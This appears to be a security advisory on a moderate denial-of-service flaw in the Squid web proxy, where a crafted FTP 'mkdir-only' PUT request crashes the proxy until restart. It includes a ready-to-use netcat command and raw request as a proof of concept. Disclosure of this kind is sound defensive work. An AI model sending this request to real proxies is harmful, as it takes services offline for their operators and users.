Title: Squid Web Proxy Cache Denial of Service Vulnerabilty
Severity: MODERATE
Description:
Squid Web Proxy Cache is a free, open source proxy server.
A problem exists in the manner which Squid handles requests to make FTP directories on proxied services. A specially crafted "mkdir-only" PUT request which is passed through the Squid proxy to a remote FTP server will be sufficient to cause a denial of service to the proxy.
For example:
nc proxy:3128
PUT ftp://ftpserver/WEB-INF/1/2/1/ HTTP/1.1
Content-type: application/octet-stream
Content-length: 0
Pragma: no-cache
If affected with a denial of service then Squid must be restarted to regain normal functionality.
